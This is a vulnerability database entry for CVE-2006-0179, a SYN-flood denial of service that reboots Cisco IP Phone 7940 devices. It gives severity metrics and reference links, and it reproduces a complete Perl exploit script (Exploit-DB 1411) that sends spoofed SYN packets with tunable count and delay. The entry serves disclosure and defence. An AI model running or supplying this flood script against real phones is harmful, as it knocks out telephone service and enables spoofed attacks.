CVE-2006-0179 : Detail

CVE-2006-0179

Overflow
2.25%V3
Network
2006-01-11
20h00 +00:00
2017-10-18
14h57 +00:00
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CVE Descriptions

The Cisco IP Phone 7940 allows remote attackers to cause a denial of service (reboot) via a large amount of TCP SYN packets (syn flood) to arbitrary ports, as demonstrated to port 80.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 1411

Publication date : 2006-01-09 23h00 +00:00
Author : kokanin
EDB Verified : Yes

#!/usr/bin/perl # This is made for trashing cisco 7940 ip phones. kokanin made/discovered this. # A packetcount of 1000 and a packetdelay of 0.002 sent to port 80 makes my # phone reboot - play with the settings and stuff. PRIVATE PRIVATE PRIVATE!!! # not private anymore. Vulnerable phones are running ver. 7.0(2.0) using the skinny # protocol - this is not for the SIP firmware. use Net::RawIP; use Time::HiRes; $pkt = new Net::RawIP; die "Usage $0 <src> <dst> <target port> <number of pkts> <packet delay>" unless ($ARGV[4]); $pkt->set({ ip => { saddr => $ARGV[0], daddr => $ARGV[1] }, tcp=> { dest => $ARGV[2], syn => 1, seq => 0, ack => 0} }); for(1..$ARGV[3]){ $pkt->set({tcp=>{source=>int(rand(65535))}});Time::HiRes::sleep($ARGV[4]); $pkt->send; }; # milw0rm.com [2006-01-10]

Products Mentioned

Configuraton 0

Cisco>>Ip_phone_7940 >> Version *

References

http://www.osvdb.org/22469
Tags : vdb-entry, x_refsource_OSVDB
http://www.vupen.com/english/advisories/2006/0202
Tags : vdb-entry, x_refsource_VUPEN
http://securitytracker.com/id?1015488
Tags : vdb-entry, x_refsource_SECTRACK
http://secunia.com/advisories/18479
Tags : third-party-advisory, x_refsource_SECUNIA
https://www.exploit-db.com/exploits/1411
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/16200
Tags : vdb-entry, x_refsource_BID